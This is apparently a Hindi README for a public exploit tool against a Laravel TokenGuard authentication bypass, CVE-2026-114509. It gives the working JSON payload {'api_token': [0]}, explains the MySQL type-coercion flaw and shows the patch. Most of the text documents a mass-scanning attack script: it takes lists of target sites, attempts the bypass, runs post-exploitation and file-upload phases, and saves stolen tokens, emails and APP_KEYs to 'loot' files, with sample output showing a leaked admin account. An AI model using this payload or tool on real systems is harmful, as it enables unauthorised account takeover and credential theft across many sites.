
Laravel TokenGuard प्रमाणीकरण को non-string API क्रेडेंशियल्स के माध्यम से बायपास करना
गैर-स्ट्रिंग API क्रेडेंशियल्स के माध्यम से Laravel TokenGuard प्रमाणीकरण बायपास
Laravel Framework में अनधिप्रमाणित प्रमाणीकरण बायपास — TokenGuard API Guard
CVE-2026-114509 Laravel Framework के अंतर्निहित TokenGuard में एक गंभीर प्रमाणीकरण बायपास भेद्यता है।
जब MySQL या MariaDB पर मानक टोकन-आधारित API guard के साथ कॉन्फ़िगर किया जाता है, तो एक अनधिप्रमाणित हमलावर एक विशेष रूप से तैयार किया गया गैर-स्ट्रिंग क्रेडेंशियल (एक JSON array) सबमिट कर सकता है जो प्रमाणीकरण लुकअप को एक अनपेक्षित मौजूदा उपयोगकर्ता से मिलाने का कारण बनता है — बिना किसी वैध API टोकन को जाने पूर्ण पहुँच प्रदान करता है।
यह प्रभावित guard द्वारा संरक्षित किसी भी रूट पर पूर्ण खाता अधिग्रहण की ओर ले जाता है।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-114509 |
| GHSA | GHSA-f9x3-7vq9-cph6 |
| प्रभावित सॉफ़्टवेयर | Laravel Framework (laravel/framework) |
| प्रभावित संस्करण | < 12.68.0 और >= 13.0.0, < 13.29.0 |
| प्रकार | प्रमाणीकरण बायपास |
| CWE | CWE-287 — अनुचित प्रमाणीकरण |
| CWE | CWE-1287 — निर्दिष्ट प्रकार के इनपुट का अनुचित सत्यापन |
| CVSS 4.0 स्कोर | 9.2 / 10 — गंभीर |
| CVSS वेक्टर | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| प्रमाणीकरण | किसी की आवश्यकता नहीं (Pre-Auth) |
| शर्त | MySQL / MariaDB बैकएंड |
| पैच | v12.68.0 / v13.29.0 |
| मीट्रिक | मान | अर्थ |
|---|---|---|
| Attack Vector | Network | इंटरनेट पर दूरस्थ रूप से शोषण योग्य |
| Attack Complexity | Low | MySQL/MariaDB के अतिरिक्त कोई विशेष शर्त नहीं |
| Attack Requirements | Present | MySQL/MariaDB type coercion व्यवहार की आवश्यकता |
| Privileges Required | None | किसी प्रमाणीकरण की आवश्यकता नहीं |
| User Interaction | None | किसी पीड़ित कार्रवाई की आवश्यकता नहीं |
| Confidentiality | High | प्रमाणित उपयोगकर्ता डेटा तक पूर्ण पढ़ने की पहुँच |
| Integrity | High | बायपास किए गए उपयोगकर्ता के रूप में डेटा संशोधित कर सकता है |
| Availability | High | खाता अधिग्रहण के माध्यम से सेवा बाधित कर सकता है |
यह HTTP अनुरोध पार्सिंग, PHP framework लॉजिक और SQL डेटाबेस व्यवहार के बीच की सीमा पर एक type confusion बग है। तीन सामान्य व्यवहार मिलकर भेद्यता उत्पन्न करते हैं:
TokenGuard गैर-स्ट्रिंग इनपुट स्वीकार करता है — TokenGuard.php में user() विधि is_string($token) && !empty($token) के बजाय !empty($token) का उपयोग करती है। JSON अनुरोध बॉडी टोकन मान के रूप में arrays या integers प्रदान कर सकती हैं।
EloquentUserProvider एक WHERE IN क्वेरी बनाता है — जब retrieveByCredentials() को एक array मान प्राप्त होता है, तो यह WHERE api_token = ... के बजाय WHERE api_token IN (...) उत्पन्न करता है।
MySQL type coercion — MySQL तुलना के लिए स्ट्रिंग कॉलम को संख्याओं में परिवर्तित करता है। Integer 0 किसी भी ऐसी स्ट्रिंग से मेल खाता है जो किसी अंक से शुरू नहीं होती (जो अधिकांश API टोकन हैं), क्योंकि MySQL उन स्ट्रिंग्स को 0.0 में cast करता है।
JSON Body: {"api_token": [0]}
│
▼
TokenGuard::user()
→ getTokenForRequest()
→ !empty([0]) === true ← Should reject non-string
│
▼
EloquentUserProvider::retrieveByCredentials()
→ WHERE api_token IN (0) ← Array becomes WHERE IN
│
▼
MySQL Type Coercion
→ 0 == "wAWrHm..." → true ← Int 0 matches any string token
│
▼
first() returns User #1
→ check() === true
→ Authentication Bypassed ✓
┌──────────────────────────┐
│ Attacker (No Creds) │
└────────────┬─────────────┘
│
│ POST /api/user
│ Content-Type: application/json
│ {"api_token": [0]}
▼
┌──────────────────────────┐
│ Laravel Application │
│ │
│ TokenGuard::user() │
│ ↓ !empty([0]) = true │
│ retrieveByCredentials() │
│ ↓ WHERE IN (0) │
│ MySQL coercion │
│ ↓ 0 matches strings │
│ Returns first user │
│ ↓ Authenticated ✓ │
│ │
└────────────┬─────────────┘
│
│ 200 OK
│ {"id":1, "name":"Admin",
│ "email":"[email protected]",
│ "api_token":"wAWrHm..."}
▼
┌──────────────────────────┐
│ Full Account Takeover │
│ • User data exposed │
│ • API token leaked │
│ • Admin access possible │
└──────────────────────────┘
Laravel ने TokenGuard.php को एक टाइप चेक जोड़कर पैच किया — यदि टोकन एक स्ट्रिंग नहीं है, तो गार्ड तुरंत null लौटाता है और कभी भी उपयोगकर्ता प्रदाता को कॉल नहीं करता:
// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }
// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }
git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich
टूल दो मोड का समर्थन करता है: मास स्कैन और सिंगल टारगेट डीप प्रोब।
कमजोरी के लिए लक्ष्यों की सूची स्कैन करें:
python CVE-2026-114509.py scan targets.txt
विकल्प:
python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|---|---|
targets | (आवश्यक) | लक्ष्य URL वाली फ़ाइल (प्रति पंक्ति एक) |
--threads | 60 | समवर्ती थ्रेड्स की संख्या |
--timeout | 12 | सेकंड में अनुरोध टाइमआउट |
लक्ष्य फ़ाइल प्रारूप (targets.txt):
https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com
बिना स्कीम वाले लक्ष्य डिफ़ॉल्ट रूप से
https://पर जाते हैं।
आउटपुट फ़ाइलें (स्क्रिप्ट निर्देशिका में बनाई गई):
| फ़ाइल | सामग्री |
|---|---|
LV_DETECTED.txt | सभी पाई गई Laravel एप्लिकेशन |
LV_BYPASS.txt | पुष्टि किए गए प्रमाणीकरण बायपास |
LV_UPLOAD.txt | अपलोड प्रयास परिणाम |
LV_LOOT.txt | निकाला गया डेटा (टोकन, ईमेल, APP_KEYs, उपयोगकर्ता डेटा) |
वर्बोज़ आउटपुट के साथ एकल लक्ष्य की गहन जाँच करें:
python CVE-2026-114509.py single https://target.com
विकल्प:
python CVE-2026-114509.py single https://target.com --timeout 15
यह सभी चार चरणों को क्रमिक रूप से विस्तृत आउटपुट के साथ चलाता है:
Phase 1: Laravel Detection...
+ laravel_session
+ XSRF-TOKEN
+ api:401
Phase 2: Auth Bypass (14 routes, 3 keys, 6 payloads)...
SUCCESS /api/user [POST] [api_token=[0]]
id: 1
name: Admin
email: [email protected]
api_token: wAWrHmHkVV...
Phase 3: Post-Exploitation...
users-list /api/users -> count=15
panel:nova /nova/api/dashboards
Phase 4: File Upload (52 routes)...
Summary:
Laravel: Yes (3 signals)
Bypass: Yes
Upload: 0 attempts, 0 verified